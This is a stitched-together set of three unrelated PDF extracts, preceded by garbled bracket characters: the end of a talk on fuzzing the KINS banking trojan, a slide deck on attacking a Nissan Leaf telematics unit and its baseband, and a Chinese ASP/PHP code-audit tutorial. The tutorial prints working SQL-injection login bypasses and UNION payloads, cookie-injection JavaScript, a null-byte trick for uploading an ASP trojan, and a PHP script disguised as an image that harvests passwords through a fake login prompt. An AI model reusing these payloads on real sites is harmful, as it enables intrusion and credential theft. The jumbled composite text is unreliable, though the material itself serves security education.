[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[] и]]] ,[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [{[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]] ,[[[[[[[[[[[[[[[[[[[[[[[[[• [[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]Э Case Study IV. KINS KINS. Overview ● Banking trojan implemented on top of Zeus source code ● Used to attack major financial institution in Germany and Netherlands ● Contains rootkit module, HTTP-protocol parser and Web- injection capabilities KINS. Seed File HTTP/1.1 200 OK Date: Sun, 18 Oct 2009 08:56:53 GMT Server: Apache/2.2.14 (Win32) Transfer-Encoding: chunked Last-Modified: Sat, 20 Nov 2004 07:16:26 GMT ETag: "10000000565a5-2c-3e94b66c2e680" Accept-Ranges: bytes Content-Length:44 Connection: close Content-Type: text/html X-Pad: avoid browser bug AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <html><body><h1>It works!</h1></body></html> KINS. Target KINS. Statistics KINS. Vulnerability KINS. Vulnerability KINS. Crash Case HTTP/1.1 200 OK Date: Sun, 18 Oct 2009 08:56:53 GMT Server: Ap32) Transfer-Encoding: chunked Lasdified: Sat, 20 Nov 2004 07:16:26 GMT ETag: "10000000565a5-2c-3e94b66c2e680" Accept-Ranges: bytes Content-Length: Connection: close Content-Type: text/html X-Pad: avoid browser bug AAAAAAAAy><h1>It works!</h1></body></html> Challenges and Issues ● Preliminary reverse engineering required ● Need to find/trigger target function ● Bugs in DynamoRIO/WinAFL ● Seed file selection ● Traffic encryption ● Stability Drltrace ● Drltrace is an open-source API calls tracer for Windows (similar to ltrace for Linux). drltrace.exe –logdir . –print_ret_addr – malware.exe https://github.com/mxmssh/drltrace Future Work ● Automatically find target function ● Increase stability ● Code-coverage visualization Conclusion ● Bugs in malware exist and can be used to defend against them ● Coverage-guided fuzzing was able to find bugs in each malware selected for experiment within 24 hours ● Two bugs lead to RCE, one bug can be used to defend against DDoS ● This technique can also be used to find bugs in network-based applications (probably most useful application ) Thank you! https://github.com/mxmssh/netafl https://github.com/mxmssh https://www.linkedin.com/in/mshudrak
pdf
1 2 ● Who are we ● Background ● Picking our battles ● The web vuln ● Intermission ● Telematics ○ What is it ○ Local vulnerabilities discovered ○ Writing a blind exploit ○ Remote vulnerability ● Conclusion ● Questions Jesse @jessemichael Mickey @HackingThings Alex @ABazhaniuk https://www.mcafee.com/us/threat-center/advanced-threat-research/index.aspx 3 4 ● Last year was awesome 5 ● After we were done with our previous hackary, we wanted to try something new ● We want to deepen our knowledge and experience with automotive security 6 ● After we were done with our previous hackary, we wanted to try something new ● We want to deepen our knowledge and experience with automotive security ● Actual car hacking experience is at 0% 7 ● Autonomous vehicles ○ Tesla Autopilot ○ Comma.io ○ Google self driving car ○ UBER ● Connected cars ○ Autonomous ○ V2X ○ V2V ● Drive by wire systems ● how does it all work? 8 ● Charlie Miller and Chris Valasek ● Troy Hunt and Scott Helme - Nissan web API hack ● Marc Rogers et al.(Tesla hack 2015) ● Keen Labs Tesla hack ● And more... 9 ● Budget? ● Where do we start? 10 ● Budget? ● Where do we start? ● We already pwned an after market IVI , what is next? *IVI = In-Vehicle Infotainment System 11 ● Budget? ● Where do we start? ● We already pwned an after market IVI , what is next? *IVI = In-Vehicle Infotainment System ● Ok, Lets go the wrecking yard and look around 12 ● Funny story about the wrecking yard. 13 ● Funny story about the wrecking yard. ○ A junk yard != wrecking yard. ○ Looking for a late model OEM IVI. ○ “What do you have?” ■ An F150 that got into a brawl with a wall and lost ■ a few more squashed cars that are too short ■ one almost perfect car ● So we ended up selecting a car by happenstance, totally random. 14 ● Nice car! ● Can you spot what caused it to be “Totaled”? 15 ● GIMME THAT DASHBOARD! 16 ● 1 week later ● carception 17 ● A trip to Lowe’s and a few hours later 18 ● Once it is fully assembled it kinda works ● A “few” errors appear on the instrument panels. ● We need to get this thing on the table somewhat functional ● NissanConnect℠ EV 19 ● NissanConnectSM EV (formerly known as CARWINGS®) is designed to help you manage your Nissan LEAF® and control a host of convenient features. The best part: you don’t have to be in or even near your car to do it. It all works through your smartphone or computer. [*] ● NissanConnect EV is complimentary for three years. You just need to download the companion app to run all the features listed below. WITH THE NISSANCONNECTSM EV APP, YOU CAN: ● Find a nearby charging station ● Check on the state of your battery charge ● Remotely start a charging session ● Get notified when your battery is fully charged ● See your estimated driving range ● Heat up or cool down your LEAF® to the comfortable temperature it was when you left it ● Set a reminder to plug in your car - Source:https://www.nissanusa.com/connect/features-app/system-requirements/nissan-connect-ev 20 ● Next step, switch owners in the backend 21 ● Next step, switch owners in the backend ● Nissan requires proof of ownership 22 ● Next step, switch owners in the backend ● Nissan requires proof of ownership ● Go ask nicely for the title from wrecking yard, ahh….. No. Wrecking guy reaction: 23 ● Next step, switch owners in the backend ● Nissan requires proof of ownership ● Go ask nicely for the title from wrecking yard, ahh….. No. Wrecking guy reaction: 24 ● Next step, switch owners in the backend ● Nissan requires proof of ownership ● Go ask nicely for the title from wrecking yard, ahh….. No. Wrecking guy reaction: ● Junk title can’t be moved. 25 ● Next step, switch owners in the backend ● Nissan requires proof of ownership ● Go ask nicely for the title from wrecking yard, ahh….. No. Wrecking guy reaction: ● Junk title can’t be moved. ● Bill of sale, wrecking yard receipt? 26 ● Next step, switch owners in the backend ● Nissan requires proof of ownership ● Go ask nicely for the title from wrecking yard, ahh….. No. Wrecking guy reaction: ● Junk title can’t be moved. ● Bill of sale, wrecking yard receipt? ● Ask Nissan nicely and you shall receive 27 28 ● We already pwned one in the past, seems like the best place to start. ● Looking at the IVI attack surface: 29 ● The IVI is running Windows Automotive 7 , no source, requires license. 30 ● The IVI is running Windows Automotive 7 , no source, requires license. ● That’s too boring!, we want to hack this but... 31 ● The IVI is running Windows Automotive 7 , no source, requires license. ● That’s too boring!, we want to hack this but... 32 ● The IVI is running Windows Automotive 7 , no source, requires license. ● That’s too boring!, we want to hack this but... ● Maybe there is something else to hack, let's keep looking 33 34 ● Getting any kind of info from the IVI ● Getting any kind of info from the IVI 35 ● Getting any kind of info from the IVI - Navigation system debug data - contacts - way points - SRAM dump - Flash dumps 36 37 After running strings on the debug files we discovered this url: “http://biz.nissan-gev.com/WARCondelivbas/it-m_gw10/” ● Let’s do a WHOIS ● No one owns it, let’s buy it for the lulz! ● Setting up an EC2 instance and running a generic honey pot ● Let's see who comes knocking 38 - The Web vulnerability - First knock comes from japan 39 40 - The Web vulnerability - First knock comes from japan - The Web vulnerability - First knock comes from japan - But then we start getting more knocks on the door and these are not your usual automated tools. 41 POST /WARCondelivbas/it-m_gw10/ HTTP/1.1 Host: biz.nissan-gev.com Connection: Keep-Alive User-Agent: NISSAN CARWINGS Content-Type: application/x-carwings-nz Content-Length: 614 ^@^@^Cä^@^@^BZx<9ØK<81>:6%?¢sdd^TQ<82><j4A_<87>æL0^Rí^P¡(<81> ¤äsdx¤¿ÓßêÇtHÙId^HZrwggg×I<92>^\$É» ^?)cÙIx^X<83>Éæó|¶<9c><Õ:<81>óïõíÝ/ÜOðâ<9c>¼?=<87><23>ôÒ:Õ<98><82>ÂA<89>4eS)³) èÝïÕQN<8349>óÂTB7F^VÔ4ôüìð´^Tv<8b>^P÷<9a><9a>M2<87>è<WfM<8c>è^UW^U ßСÄK]Pi-%UYG^? Ʋ4:gl<89>Rj¸ÍOò%c×s¶LÓ<93><80>°X.èÙét^G<8f>B÷ng¸µßZ^N^^±xcfAW «ÕQʲð¦A<80>ødÐ^B^GJjÑ^V<94>±E$PÐÙíEp§Ùq@^?<81>^Bl_jâÚjÏÖ<96>^H<86><90>ÇA^xNWPç<9b> <96>^Rë`^B«´¶ - The Web vulnerability - First knock comes from japan - But then we start getting more knocks on the door and these are not your usual automated tools. 42 - The Web vulnerability - First knock comes from japan - But then we start getting more knocks on the door and these are not your usual automated tools. 43 <?xml version="1.0" encoding="UTF-8" standalone="no"?> <carwings version="2.2"> <aut_inf navi_id="1054********" tel="err" dcm_id="2012********" dcm_tel="380*********" sim_id="89380***************" vin="1N4A*************" user_id="********" password="********"></aut_inf> <bs_inf><sftwr_ver navi="041-102-10111000000003010100" map="006" dcm="3NF0000642"></sftwr_ver> <vcl spd="0" drc="138.5" sts="stop" rss="5" crr="life:)"> <crd datum="wgs84" lat="40,00,**.**" lon="-75,01,**.**"></crd></vcl> <navi_set t_zone="-8.00" lang="use" dst_d="km" tmp_d="C" e_mlg_d="km/kwh" spd_d="km/h"></navi_set></bs_inf> <srv_inf><app name="AP"><send_data id_type="file" id="APUP001.001"></send_data></app></srv_inf> </carwings> - The Web vulnerability - First knock comes from japan - But then we start getting more knocks on the door and these are not your usual automated tools. - We got cars connecting to our server?!? 44 - The Web vulnerability - First knock comes from japan - but then we start getting more knocks on the door and these are not your usual automated tools. 45 <?xml version="1.0" encoding="UTF-8" standalone="no"?> <carwings version="2.2"> <aut_inf navi_id="1054********" tel="err" dcm_id="2012********" dcm_tel="380*********" sim_id="89380***************" vin="1N4A*************" user_id="********" password="********"></aut_inf> <bs_inf><sftwr_ver navi="041-102-10111000000003010100" map="006" dcm="3NF0000642"></sftwr_ver> <vcl spd="0" drc="138.5" sts="stop" rss="5" crr="life:)"> <crd datum="wgs84" lat="40,00,**.**" lon="-75,01,**.**"></crd></vcl> <navi_set t_zone="-8.00" lang="use" dst_d="km" tmp_d="C" e_mlg_d="km/kwh" spd_d="km/h"></navi_set></bs_inf> <srv_inf><app name="AP"><send_data id_type="file" id="APUP001.001"></send_data></app></srv_inf> </carwings> The cars sent us plenty of data, including location, let's look at one of them a bit closer. 46 47 The cars sent us plenty of data, including location, let's look at one of them a bit closer. 48 The cars sent us plenty of data, including location, let's look at one of them a bit closer. Who owns this car? we have the VIN, lets google... 49 50 Who owns this car? we have the VIN, lets google... 51 Who owns this car? What can CARFAX tell us? 52 Who owns this car? What can CARFAX tell us? 53 Who owns this car? What can CARFAX tell us? 54 Why is this happening? ● Owner replacing the SIM card in their car. ● The Jasper network. 55 56 ● Continental made Telematics Control Unit (TCU) ● Used as the conduit for the car to connect to the backend. ● Older model , buy it on eBay for cheap. 57 ● Uses a cellular 2G modem 58 ● Uses a cellular 2G modem ● Yes 59 ● Uses a cellular 2G modem ● Yes ● 2G 60 61 Connected to the rest of the car like this Gathering Intel from the board - Exploring the TCU - TOP 62 63 Gathering Intel from the board - Exploring the TCU - Bottom Exploring the TCU Freescale chip CAN 2G Cellular complex USB Small connector (USB) Big connector (CAN) ANT 64 UART CAN Footprint Gathering Intel from the board ● Freescale chip debug header, lets get firmware 65 Gathering Intel from the board ● Its USB right? lets mitm it! 66 Before: After: Gathering Intel from the board ● Its USB right? lets mitm it! 67 68 Gathering Intel from the board ● Its USB right? lets mitm it! ● This looks familiar... 69 Gathering Intel from the board ● Its USB right? lets mitm it! ● This looks familiar... Gathering Intel from the board ● Its USB right? lets mitm it! ● This looks familiar... 70 ● Oh, look at that! ● I know this chip! Do you? 71 ● Here are a few hints 72 73 Infineon PMB 8876 Functional diagram 74 Gathering Intel from the board ● It’s a USB system. We know this… ● Lets connect to it and explore Telematics vulnerabilities ● Ok, now that we have gathered our senses together, let's check for known vulnerabilities... 75 76 Telematics vulnerabilities ● Ok, now that we have gathered our senses together, let's check for known vulnerabilities... 77 Telematics vulnerabilities ● Ok, now that we have gathered our senses together, let's check for known vulnerabilities... 78 Telematics vulnerabilities ● Ok, now that we have gathered our senses together, let's check for known vulnerabilities... 79 Telematics vulnerabilities ● Ok, now that we have gathered our senses together, let's check for known vulnerabilities... Telematics vulnerabilities ● Ok, now that we have gathered our senses together, let's check for known vulnerabilities. ● confirmed local vector ○ AT+STKPROF ○ AT+XAPP ○ AT+XLOG ○ AT+FNS 80 Telematics vulnerabilities ● After confirming the local vulns, let’s check for remote ones… ● oh wait! ● Thanks to the amazing Dr. Ralf-Philipp Weinmann we know this baseband FW is vulnerable to an Over-The-Air TMSI buffer overflow. 81 Telematics vulnerabilities ● Confirming the TMSI vulnerability ○ The good book has PoC code in it, yay! ○ OpenBTS has moved on from testcall functionality (“security” reasons) ○ this will take a while, better get a faraday cage 82 Telematics vulnerabilities ● Confirming the TMSI vulnerability using BladeRF 83 Telematics vulnerabilities ● Confirming the TMSI vulnerability ● After many many days of attempts and trying to get OpenBTS to work, Jesse confirms remote buffer overflow! ○ Thank you Jared Boone! 84 Telematics vulnerabilities ● Exploiting ○ We don’t have a copy of the firmware, how do we fix this? ○ Getting the firmware out of the device requires semi-blind exploitation ○ It’s not quite that bad, we have some basic exception logging that includes: ■ Register state at time of crash ■ 178 dwords of stack values upwards from SP at time of crash ○ We can work with that 85 Telematics vulnerabilities ● Exploiting ○ No ASLR 86 Telematics vulnerabilities ● Exploiting ○ No ASLR ○ No DEP 87 Telematics vulnerabilities ● Exploiting ○ No ASLR ○ No DEP ○ No memory isolation 88 Telematics vulnerabilities ● Exploiting ○ No ASLR ○ No DEP ○ No memory isolation 89 Telematics vulnerabilities ● Exploiting ○ No ASLR ○ No DEP ○ No memory isolation 90 Telematics vulnerabilities ● Exploiting ○ We’ll just use AT command buffer overflow to inject payload to: 91 Telematics vulnerabilities ● Exploiting ○ We’ll just use AT command buffer overflow to inject payload to: ■ Write tag to signify start of data block 92 Telematics vulnerabilities ● Exploiting ○ We’ll just use AT command buffer overflow to inject payload to: ■ Write tag to signify start of data block ■ Copy 512 bytes from arbitrary location into stack frame 93 Telematics vulnerabilities ● Exploiting ○ We’ll just use AT command buffer overflow to inject payload to: ■ Write tag to signify start of data block ■ Copy 512 bytes from arbitrary location into stack frame ■ Write tag to signify completed copy of data block 94 Telematics vulnerabilities ● Exploiting ○ We’ll just use AT command buffer overflow to inject payload to: ■ Write tag to signify start of data block ■ Copy 512 bytes from arbitrary location into stack frame ■ Write tag to signify completed copy of data block ■ Jump to hardcoded invalid location to force a crash at specific location 95 Telematics vulnerabilities ● Exploiting ■ Wait for device to reboot 96 Telematics vulnerabilities ● Exploiting ■ Wait for device to reboot ■ Read exception log using AT+XLOG and extract data from between tags in stack dump 97 Telematics vulnerabilities ● Exploiting 98 Telematics vulnerabilities ● Exploiting … and then do it again 13 thousand times … 99 Telematics vulnerabilities ● Once firmware is accessible we can work on reversing and jumping from the baseband to the CAN bus 100 Telematics vulnerabilities 101 Telematics vulnerabilities 102 103 104 Advisory ● https://ics-cert.us-cert.gov/advisories/ICSA-17-208-01 CVSS v3 8.8 ATTENTION: Remotely exploitable/low skill level to exploit. Public exploits are available. Vendor: Continental AG Equipment: Infineon S-Gold 2 (PMB 8876) Vulnerabilities: Stack-Based Buffer Overflow, Improper Restriction of Operations within the Bounds of a Memory Buffer 105 Advisory ● https://ics-cert.us-cert.gov/advisories/ICSA-17-208-01 AFFECTED PRODUCTS All telematics control modules (TCUs) built by Continental AG that contain the S-Gold 2 (PMB 8876) cellular baseband chipset are affected. The S-Gold 2 (PMB 8876) is found in the following vehicles: BMW several models produced between 2009-2010 Ford - program to update 2G modems has been active since 2016 and impact is restricted to the limited number of P-HEV vehicles equipped with this older technology that remain in service. Infiniti 2013 JX35,Infiniti 2014-2016 QX60,Infiniti 2014-2016 QX60 Hybrid,Infiniti 2014-2015 QX50,Infiniti 2014-2015 QX50 Hybrid,Infiniti 2013 M37/M56,Infiniti 2014-2016 Q70,Infiniti 2014-2016 Q70L,Infiniti 2015-2016 Q70 Hybrid,Infiniti 2013 QX56,Infiniti 2014-2016 QX 80 Nissan 2011-2015 Leaf iPhone (PMB8876) iPhone 3G (PMB8878) Nissan Leaf (PMB8876) Infiniti Q50 and others (PMB8876) iPhone 4 (XMM6180) External Researchers find exploitable vulnerabilities in baseband firmware iPhone (PMB8876) iPhone 3G (PMB8878) Nissan Leaf (PMB8876) Infiniti Q50 and others (PMB8876) iPhone 4 (XMM6180) External Researchers find exploitable vulnerabilities in baseband firmware 108 Things that are good to know ● Not an 0-Day but more like a 2441-Day. ● Different market segments: ○ Have different levels of security maturity ○ Can have very different product lifecycles ○ Share components ● Need to be aware of security issues found elsewhere 109 ● For helping co-ordinating this, we would like to thank: ○ Nissan NA ○ ICS-CERT - specifically Jason Barkley ○ Auto-ISAC ○ Intel PSIRT ● Advisory ○ https://ics-cert.us-cert.gov/advisories/ICSA-17-208-01 ● Tools ○ Latest slides will be posted at https://github.com/HackingThings/Publications ○ Our windows based arduino CAN bus tool: https://github.com/HackingThings/CAN-Bus-Arduino-Tool 110
pdf
Asp 安全审计 http://hi.baidu.com/micropoor 1 ASP ASP ASP ASP 代码安全审计 ------PHP ------PHP ------PHP ------PHP 安全新闻早 8888 点特别篇 2012/3/20 注入漏洞: 1.Request.QueryString:获取地址栏参数(以及以 GET 方式提交的数据) 如:Request.QueryString("id") 2.Request.Form: 获取以 POST 方式提交的数据(接收 Form 提交来的数据) 如:Request.Form("id") 3.Request.Cookies: 获取浏览器 Cookier 信息。 4.Request:包含以上三种方式(优先获取 GET 方式提交的数据),它会在 QueryString、Form、 ServerVariable 中都搜寻一遍。而且有时候也会得到不同的结果。 如:Request("id") 例示代码: <% ////////数字型 Response.Expires=0 dim sql dim rs articleid=request("film2") urlid=request("film1") if articleid="" or urlid="" then response.write"非法操作" response.end end if set rs=server.createobject("adodb.recordset") sql="select serverip,canlook,movietype,title from learning where articleid="&articleid rs.open sql,conn,1,1 serverip=rs("serverip") okip=Request.Servervariables("HTTP_X_FORWARDED_FOR") If okip="" Then okip=Request.Servervariables("REMOTE_ADDR") set rst8=server.createobject("adodb.recordset") sql="select okip,testok,endtimes from okip where okip='"&okip&"'" rst8.open sql,conn,1,1 if rst8.eof and rst8.bof then if request.cookies("userid")="" or request.cookies("password")="" then %> <% ////////字符型 if request("username")<>"" then set rst=server.createobject("adodb.recordset") Asp 安全审计 http://hi.baidu.com/micropoor 2 sql="select user from users where username='"&request("username")&"' and password='"&md5(request("pws"))&"'" //注意两者的 sql rst.open sql,conn,1,3 %> <% //Cookies //Cookies //Cookies //Cookies 注入 'SQL 通用防注入程序 'Aseanleung '--------定义部份------------------ Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr Dim fso1,all_tree2,file1,files,filez,fs1,zruserip If Request.QueryString<>"" Then (对 Request.QueryString 提交(客户采用 GET 方式提交)的数 据进行判断,并没有指明对其它方式提交的数据进行判断) '自定义需要过滤的字串,用 "|" 分隔 Fy_In = "'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" ( 阻止 了常用的 SQL 注入的语句) Fy_Inf = split(Fy_In,"|") For Each Fy_Get In Request.QueryString For Fy_Xh=0 To Ubound(Fy_Inf) If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR") If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR") Response.Write "内容含有非法字符!请不要有'或 and 或 or 等字符,请去掉这些字符再发!! <br>" Response.Write "如是要攻击网站,系统记录了你的操作↓<br>" Response.Write "操作IP:"&zruserip&"<br>" Response.Write "操作时间:"&Now&"<br>" Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>" Response.Write "提交方式:GET<br>" Response.Write "提交参数:"&Fy_Get&"<br>" Response.Write "提交数据:"&Request.QueryString(Fy_Get) %> //cookie 注入其原理也和平时的注入一样,只不过提交的参数已 cookie 方式提交了,而一般 的注入我们是使用 get 或者 post 方式提交,get 方式提交就是直接在网址后面加上需要注入 的语句,post 则是通过表单方式,get 和 post 的不同之处就在于一个我们可以通过 IE 地址栏 处看到我们提交的参数,而另外一个却不能。 程序阻止了常用的 SQL 语句使用,但只对客户采用 GET 方式提交的数据进行判断,而没有对 其它方式提交的数据进行判断,导致了 Request.cookie 方式来提交变量的值,而绕过了 SQL 防 注入件 cookies 的注入语句:javascript:alert(document.cookie="id="+escape("这就是 asp? id=xx 后面 xx 代表的数值) and (这里是注入攻击代码)")); Asp 安全审计 http://hi.baidu.com/micropoor 3 判断 cookies 注入 js 语句: javascript:alert(document.cookie=" 参 数 = "+escape(" 参 数 值 and 1=1"));self.open("http://+"document.location.host+document.location.pathname);void(0); javascript:alert(document.cookie=" 参 数 ="+escape(" 参 数 值 and 1=2"));self.open("http://+"document.location.host+document.location.pathname);void(0); <% ////////搜索型注入:::: 一般搜索代码: //Select * from 表名 where 字段 like '%关键字%' //Select * from 表名 where 字段 like '关键字 xxx' 1 搜索 keywords ’ 如果出错的话,有 90%的可能性存在漏洞; 2 搜索 keywords%,如果同样出错的话,就有 95%的可能性存在漏洞; 3 搜索 keywords% ’and 1=1 and ’%’=’(这个语句的功能就相当于普通 SQL 注入的 and 1=1) 看返回的情况 4 搜索 keywords% ’and 1=2 and ’%’=’(这个语句的功能就相当于普通 SQL 注入的 and 1=2) 看返回的情况 5 根据两次的返回情况来判断是不是搜索型文本框注入了 百分比符号(%)的含义类似于 DOS 中的通配符“*”,代表多个字符;下划线符号(_)的含义类似于 DOS 中的通配符“?”,代表任意一个字符。 有时候后台添加了上传 asp asp asp asp。Cer Cer Cer Cer 等类型的。但是在上传的时候,仍然无法上传。因为存储 IIS IIS IIS IIS 中的 Application Application Application Application 对象还没有更新。那么就找后台更新缓存数据。 <% Dim BigClassId,SmallClassId,SearchCondition,title,Condition,Location,i,news_id Condition = "1=1" BigClassId = Request("BigClassId") SmallClassId = Request("SmallClassId") SearchCondition = Request("SearchCondition") 'SearchConditon = 1 产品名称查找 'SearchConditon = 2 产品说明查找 title = Request("title") If BigClassId <> "" Then Condition = Condition & " AND BigClassId=" & BigClassId & "" End If If SmallClassId <> "" Then Condition = Condition & " AND SmallClassId=" & SmallClassId & "" End If If SearchCondition = "1" Then Condition = Condition & " AND ProductName LIKE '%" & ProductName & "%'" End If Asp 安全审计 http://hi.baidu.com/micropoor 4 If SearchCondition = "2" Then Condition = Condition & " AND ProductDetail LIKE '%" & ProductName & "%'" Else Condition = Condition & " AND title LIKE '%" & title & "%'" End If Set RsProductSearchResult = Server.CreateObject("ADODB.RECORDSET") RsProductSearchResult.Open "Select * FROM news Where "& Condition &" orDER BY news_id DESC",conn,1,3 //略 %> 语句变成: Select * FROM news Where 1=1 AND title LIKE '%micropoor%' orDER BY news_id DESC //正 常语句 Select * FROM news Where 1=1 AND title LIKE '%micropoor%' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from user where 1=1 orDER BY news_id DESC // 我们需要的语句 //前半部分的查询为假,后半部分为真,在使用 union 联合查询中,若前面查询为假的话, 那么就返回 union 查询的结果。 最 终 的 的 语 句 就 变 成 : micropoor.asp?title=micropoor%25' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from user where 1=1 and name like '%25admin //闭合 sql 语句 <% ////////后台注入 and and and and 'or'='or' 'or'='or' 'or'='or' 'or'='or': //典型的'or'='or' pwd = request.form("pwd") //获取用户输入的密码,再把值赋给 pwd name = request.form("name") //获取用户输入的用户名再把值赋给 name Set rs = Server.CreateObject("ADODB.Connection") sql = "select * from Manage_User where UserName='" & name & "' And PassWord='"&encrypt(pwd)&"'" //将用户名和密码放入查询语句中查询数据库, Set rs = conn.Execute(sql) //执行 SQL 语句,执行后并得到 rs 对象结果,“真”或“假” If Not rs.EOF = True Then Session("Name") = rs("UserName") Session("pwd") = rs("PassWord") Response.Redirect("Manage.asp")了 //利用 Response 对象的 Redirect 方法重定向 Manage.asp Else Response.Redirect "Loginsb.asp?msg=您输入了错误的帐号或口令,请再次输入!" End If %> <% ////////其他后台注入 ////////常用判断 Asp 安全审计 http://hi.baidu.com/micropoor 5 pwd = request.form("pwd") //获取用户输入的密码,再把值赋给 pwd name = request.form("name") //获取用户输入的用户名再把值赋给 name Set rs = Server.CreateObject("ADODB.Connection") sql = "select * from Manage_User where UserName='" & name & "'" //将用户名和密码放入查 询语句中查询数据库, Set rs = conn.Execute(sql) 执行 SQL 语句,执行后并得到 rs 对象结果,“真”或“假” If Not rs.EOF = True Then 如果是真则执行以下代码 password=rs("password") 取得密码数据 if password=md5(pwd) then Session("Name") = rs("UserName") 将 UserName 的属性赋给 Name 的 Session 自定义变量 Session("pwd") = rs("PassWord") 将 PassWord 的属性赋给 pwd 的 Session 自定义变量 Response.Redirect("Manage.asp")了 利用 Response 对象的 Redirect 方法重定向 Manage.asp else response.write "密码错误!!!!" end if Else 否则执行以下代码 Response.Redirect "Loginsb.asp?msg=您输入了错误的帐号或口令,请再次输入!" End If %> 提交'or'='or'那么 SQL 语句就变成:select * from Manage_User where UserName=''or'='or'' 登陆口(login.asp)的代码: <% if request.form("Submit") = " Login " then if trim(request("yanzheng"))=session("ValidCode") then if Login(request.form("LoginId"),request.form("Password")) = 1 then //提交 Login 函数 response.redirect("index.asp") end if else response.Redirect("login.asp?p=login") end if end if %> <% login.asp 页面验证交给 Login 函数验证,Login 函数中,验证通过将返回一个值为 1(通过 验证进入后台),反之不等于则重定向到登陆页面。 private function Login(login, pass) set rsLogin = server.createobject("ADODB.recordset") rsLogin.cursortype = 3 strSQL = "Select admin_id, admin_salt, admin_password FROM admin_users Where admin_login = '" & login & "'" //没过滤查询 rsLogin.open strSQL, adoCon Asp 安全审计 http://hi.baidu.com/micropoor 6 response.Write strSQL if not rsLogin.eof then correctPass = rsLogin("admin_password") controlPass = hashEncode(pass & rsLogin("admin_salt")) if correctPass = controlPass then DoLogin = 1 session("admin_user_id") = rsLogin("admin_id") session("session_id") = session.SessionID session("order_flag") = 1 else DoLogin = 0 end if else DoLogin = 0 end if rsLogin.close set rsLogin = nothing end function %> 提交'union select 1,2,3,'225cdc811adfe8d4' from admin_user where 'a'='a 后我们再来分析下验 证程序, SQL 语句会变成:Select admin_id, admin_salt, admin_password FROM admin_users Where admin_login = ''union select 1,2,3,'225cdc811adfe8d4' from admin_user where 'a'='a' 最终的执行结果是真,这样就解决了绕过用户名验证阶段,进入密码验证阶段。 爆库漏洞以及写入一句话漏洞: 绝对路径与相对路径的冲突: <% connstr="DBQ="+server.mappath("dataass/micropoor.asa")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};" set conn=server.createobject("ADODB.CONNECTION") ' connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db) conn.open connstr %> 跨站漏洞: 一类是存储型 XSS,主要出现在让用户输入数据,供留言、评论、各类表单等。一类是参 数型 XSS,主要是将脚本加入 URL 地址的程序参数里,参数进入程序后在页面直接输出脚 本内容,用户点击类似的恶意链接就可能受到攻击。传统的 XSS 攻击都是盘算如何盗取客 户端 COOKIE,然后劫持客户端和 WEB 服务端的会话,其他还有利用 XSS 进行网络钓鱼 的攻击方法,这类攻击都是针对客户端进行攻击,而近年流行的 XSS WORM 攻击方式,是 Asp 安全审计 http://hi.baidu.com/micropoor 7 通过 AJAX 技术把恶意的 XSS 数据感染到每一个用户,可以对 WEB 服务造成很大的影响, 间接实现了对 WEB 服务端的攻击。 <% Set rs = Server.CreateObject("ADODB.Recordset") sql="select * from Feedback" rs.open sql,conn,1,3 rs.addnew if session("username")="" then rs("Username")="未注册用户" else rs("Username")=trim(request.form("Username")) end if rs("CompanyName")=trim(request.form("CompanyName")) rs("Add")=Add rs("Postcode")=Postcode rs("Receiver")=trim(request.form("Receiver")) //略 if Language="ch" then rs("Language")="0" else rs("Language")="1" end if rs("time")=date() rs.update rs.close if Language="ch" then response.redirect "FeedbackView.asp" else response.redirect "EnFeedbackView.asp" end if %> PHP PHP PHP PHP 弹框: <? header("Content-type: image/gif"); $image = imagecreatefromgif('mellow.gif'); if(!$_COOKIE['LOGON']) { $login = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW']; if(strlen($pass) <= 4 || !$login) { Header('HTTP/1.1 401 Unauthorized'); Header('WWW-Authenticate: Basic realm="管理员验证 - login"'); Asp 安全审计 http://hi.baidu.com/micropoor 8 } elseif($login) { setcookie('LOGON',md5($pass)); $f = fopen('passwords.txt', 'ab'); fwrite($f, $login." ||| ".$pass."\r\n"); fclose($f); } } imagegif($image); imagedestroy($image); ?> 上传漏洞截断等: 上传漏洞注意 FilePath(文件路径),另一个则是 FileName(文件名称)。 用 ASP 写的上传,有个共性的问题:空字节可以被插入到文件名,这样文件名可以被添加 任意扩展名,而写入文件的时候,空字节以后的部分都会被忽略掉。 假设有一个 ASP 木马文件为 micropoor.asp,把它改名为 micropoor.asp .jpg,注意中间有一个 空格。在获取该文件名时,这个空格就被认为是 chr(0),当用 right("micropoor.asp .jpg",4)看 的时候,确实是.jpg,但是当实际读取 micropoor.asp .jpg,并生成文件的时候,系统读到 chr(0) 就以为结束了,所以后面的.jpg 就输出不来了,文件名被自动生成了 micropoor.asp %00 或者空字节在 URL 或者通常的 form post 中发不出去,因为服务器虽然会认为这是字符 串的结果但是并不会在文件名变量中存储它的值。 而当文件名通过 multipart/form-data 的形式发送时,空字节将会保存在文件名变量中,这会 影响对 FileSystemObject 的调用。 解决 chr(0)漏洞 检查上传的文件名里面有没有 chr(0),在 ASP 中直接用 replace 函数替换掉 chr(0)字符即可 其它经典上传漏洞如动易。商城,全局变量严重文件双绕过等。 案例分析(1) (1) (1) (1): Asp 安全审计 http://hi.baidu.com/micropoor 9 上传图片 查看源代码找到文件为 uploada.asp,然后打开这个页面。 